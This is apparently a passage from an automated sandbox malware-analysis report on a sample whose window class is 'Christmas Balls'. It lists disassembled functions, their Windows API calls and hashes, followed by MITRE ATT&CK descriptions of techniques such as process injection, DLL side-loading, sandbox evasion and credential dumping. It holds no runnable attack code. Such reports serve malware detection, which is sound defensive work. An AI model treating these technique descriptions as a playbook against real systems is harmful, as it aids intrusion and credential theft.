Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: a3c80f6e69aca2b98037d2f4c22cbb11e5a3e733a0ebade95ebe0913f8231c24
Instruction ID: 152ed06bb8b046d3611ae2523eccba8964b89bd009bca7246ffe9fc9b8f044f2
Opcode Fuzzy Hash: a3c80f6e69aca2b98037d2f4c22cbb11e5a3e733a0ebade95ebe0913f8231c24
Instruction Fuzzy Hash: 4051BE7260026AAFEB249FA8ED81EBB76B9EF44750F150139FD14DB251EB74CC10C660

Function 00A230C1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00A230D5
AcquireSRWLockExclusive.KERNEL32(?,?,00000000,00A35C4C,000000FF,?,00A2211F), ref: 00A230F4
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00A35C4C,000000FF,?,00A2211F), ref: 00A23122
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00A35C4C,000000FF,?,00A2211F), ref: 00A2317D
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00A35C4C,000000FF,?,00A2211F), ref: 00A23194

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: ae393c494aa473cf41abcb170cdc0db8efaf7aa143daa36011b85612ae77171d
Instruction ID: 078a7c540960a0822fb40e810e8f96aafa8f481c0a1e599a8bf04604ee55212a
Opcode Fuzzy Hash: ae393c494aa473cf41abcb170cdc0db8efaf7aa143daa36011b85612ae77171d
Instruction Fuzzy Hash: 87417F3260062ADFCF24CF6DE98596AB3F5FF06711B104A39E406D7940D738EA65CB50

Function 00A21C40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registrywindowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00A21C9D
RegisterClassW.USER32(?), ref: 00A21CB2
GetMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00A21CDB

Strings

Christmas Balls, xrefs: 00A21CA7

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: ClassHandleMessageModuleRegister
String ID: Christmas Balls
API String ID: 1585107554-3481381322
Opcode ID: 9caf29df2ea59ed30d84b9387c62ecd038606903a2643816b5adbb8ac6f09c27
Instruction ID: bab8498bc21ec91da77c5af0c497955f5e340113fdba4d21f8e0b2dca6735712
Opcode Fuzzy Hash: 9caf29df2ea59ed30d84b9387c62ecd038606903a2643816b5adbb8ac6f09c27
Instruction Fuzzy Hash: 2D218CB1C403899BDB10CFA4ED45BEEBBB4FF59714F101229F408B6240E7742690CB90

Function 00A2EEE6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00A2EF82,00000000,?,00A3F760,?,?,?,00A2EEB9,00000004,InitializeCriticalSectionEx,00A378B0,00A378B8), ref: 00A2EEF3
GetLastError.KERNEL32(?,00A2EF82,00000000,?,00A3F760,?,?,?,00A2EEB9,00000004,InitializeCriticalSectionEx,00A378B0,00A378B8,00000000,?,00A2951C), ref: 00A2EEFD
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00A2EF25

Strings

api-ms-, xrefs: 00A2EF0A

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: ee8fbe59a8f8499e6af0ec311c36b1f01afd8554f3a4820512dac04ae3891bcc
Instruction ID: c842fe36549b5d384d346d7a9ca4661f300bf3777337020a47ad4e4e3b83c3e6
Opcode Fuzzy Hash: ee8fbe59a8f8499e6af0ec311c36b1f01afd8554f3a4820512dac04ae3891bcc
Instruction Fuzzy Hash: DAE04F32684208B7EB109BA5FD06F683F56EB05BA0F108430F90DB80E0EB62F8519A44

Function 00A2F86C Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00A2F8CF

Part of subcall function 00A2E356: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00A2F350,?,00000000,-00000008), ref: 00A2E3B7

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00A2FB21
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00A2FB67
GetLastError.KERNEL32 ref: 00A2FC0A

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: db0bc0a46ecaae6b3cc4a321f778461de43bbd4a06c117dda413d94626cec4bf
Instruction ID: f6335b181d36285abc61a444301fce2c232b64e45221ca8397af9c922599c93f
Opcode Fuzzy Hash: db0bc0a46ecaae6b3cc4a321f778461de43bbd4a06c117dda413d94626cec4bf
Instruction Fuzzy Hash: 6AD15C75D00258AFCF15CFA8E880AEDBBB5FF09314F24457AE856EB351D630A942CB50

Function 00A28BF0 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00A28CB7
___AdjustPointer.LIBCMT ref: 00A28CDA
___AdjustPointer.LIBCMT ref: 00A28D76

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 965310d9638dea9471c56287ce5ec338e20fa3b4aff79d887cef5ec39f16cc34
Instruction ID: e15aaf6f71bb49c57306df4a2403d392e6ff3c2f5807624ab1c48910f91f99cb
Opcode Fuzzy Hash: 965310d9638dea9471c56287ce5ec338e20fa3b4aff79d887cef5ec39f16cc34
Instruction Fuzzy Hash: AB51DF72603226AFDB299F18F941B7A73A4EF24311F24443DF801572D1DB39AC45C7A0

Function 00A2D6FF Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00A2E356: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00A2F350,?,00000000,-00000008), ref: 00A2E3B7

GetLastError.KERNEL32 ref: 00A2D763
__dosmaperr.LIBCMT ref: 00A2D76A
GetLastError.KERNEL32(?,?,?,?), ref: 00A2D7A4
__dosmaperr.LIBCMT ref: 00A2D7AB

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: b03fecf3d1939fb9c4c685ef8a411d6ef95b02137437f9a467e8b1c25e240a65
Instruction ID: a6c2be15a519657011d67cf7e62f84d2b64dcaa8ffaedba8619ac8c687f76e35
Opcode Fuzzy Hash: b03fecf3d1939fb9c4c685ef8a411d6ef95b02137437f9a467e8b1c25e240a65
Instruction Fuzzy Hash: D7219271600225AFDB20AF6DFD8186AB7B9EF443647148539FD1997242DB34EC4087A0

Function 00A2DC9B Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591d54aa6a93b0bf883265fce7dcf02a724d1a7f7512c904cea9eb33b6abdaef
Instruction ID: 4228585c3b89dd33e76193af767386b939476742abf11d81b8fda05bcd494302
Opcode Fuzzy Hash: 591d54aa6a93b0bf883265fce7dcf02a724d1a7f7512c904cea9eb33b6abdaef
Instruction Fuzzy Hash: 3B218E71601629AFDB20AF7DED8196A77A9EF443647108935F91997252EB70EC00C7A0

Function 00A2E452 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00A2E45A

Part of subcall function 00A2E356: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00A2F350,?,00000000,-00000008), ref: 00A2E3B7

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00A2E492
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00A2E4B2

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: c3dd766f5fe3ddd9df3fe7f300ac847c49e21767a8be9a60b29205f2518bf7d5
Instruction ID: 2140392a18591c300da1e8faff73075dc4487ff7e98e8349efa41b1c5e497783
Opcode Fuzzy Hash: c3dd766f5fe3ddd9df3fe7f300ac847c49e21767a8be9a60b29205f2518bf7d5
Instruction Fuzzy Hash: F911C4F25016357FA721B7B9BE8DCAF296CDE453A47140434F906E1101EE25DE414275

Function 00A3429C Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,00A3311E,00000000,00000001,?,?,?,00A2FC5E,?,00000000,00000000), ref: 00A342B3
GetLastError.KERNEL32(?,00A3311E,00000000,00000001,?,?,?,00A2FC5E,?,00000000,00000000,?,?,?,00A2F5A4,?), ref: 00A342BF

Part of subcall function 00A34310: CloseHandle.KERNEL32(FFFFFFFE,00A342CF,?,00A3311E,00000000,00000001,?,?,?,00A2FC5E,?,00000000,00000000,?,?), ref: 00A34320

___initconout.LIBCMT ref: 00A342CF

Part of subcall function 00A342F1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00A3428D,00A3310B,?,?,00A2FC5E,?,00000000,00000000,?), ref: 00A34304

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,00A3311E,00000000,00000001,?,?,?,00A2FC5E,?,00000000,00000000,?), ref: 00A342E4

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: b8075a20d566f48710c1e1fd34a2c5c110b21ab61a1992aa00325e833ca46a42
Instruction ID: ae82e588f2081462162411360e59009c427a8038630b52f83d72ef188ef53612
Opcode Fuzzy Hash: b8075a20d566f48710c1e1fd34a2c5c110b21ab61a1992aa00325e833ca46a42
Instruction Fuzzy Hash: 8CF0A237500115BBCF129FD6EC049DA3F26FF4D3B1F044510F919A5170C63198619B90

Function 00A238D1 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00A238E3
GetCurrentThreadId.KERNEL32 ref: 00A238F2
GetCurrentProcessId.KERNEL32 ref: 00A238FB
QueryPerformanceCounter.KERNEL32(?), ref: 00A23908

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 9181dbbae6c1a2e7b37b67b88a616033f56437429594cbb925b6d17cddc9c31f
Instruction ID: 6f12e665701d3d926dca26ee509091c2574c91b77fcc9585bea446d9e7991b3f
Opcode Fuzzy Hash: 9181dbbae6c1a2e7b37b67b88a616033f56437429594cbb925b6d17cddc9c31f
Instruction Fuzzy Hash: 42F05F75D1020DEBCB00DBF4D94999EBBF4FF1C614B9155A6A412F6110EA30AB459B50

Function 00A292ED Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 125COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00A291EE,?,?,00000000,00000000,00000000,?), ref: 00A29312

Strings

MOC, xrefs: 00A29324
RCC, xrefs: 00A2932C

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: d52484900d1f4f26ca2a217e34a05d71e98925f03febb798e04e569b2cd0ffb9
Instruction ID: 7b2bc2268b2cb2c7415d179b32ff73c562ef0c32279c420e4741dd363c702e07
Opcode Fuzzy Hash: d52484900d1f4f26ca2a217e34a05d71e98925f03febb798e04e569b2cd0ffb9
Instruction Fuzzy Hash: 05418832900219EFDF15EF98ED81AEEBBB5FF48704F1880A9FA05AB251D3359951CB50

Function 00A28B59 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00A28DD0

Strings

csm, xrefs: 00A28E63
csm, xrefs: 00A28DF2

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: e3444e27c56a75facae5150c5f27f0c01fa798c3efa4b4be09063ac64a902ce8
Instruction ID: 8364b4d5ebf3677da75e3f6a206dc7e734ac316be966f61d7306cf0f2ca41afb
Opcode Fuzzy Hash: e3444e27c56a75facae5150c5f27f0c01fa798c3efa4b4be09063ac64a902ce8
Instruction Fuzzy Hash: 6E31D532801238DFCF269F58EC4496A7B66FF08715B1A8179F85449221CB3ADC61DB91

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

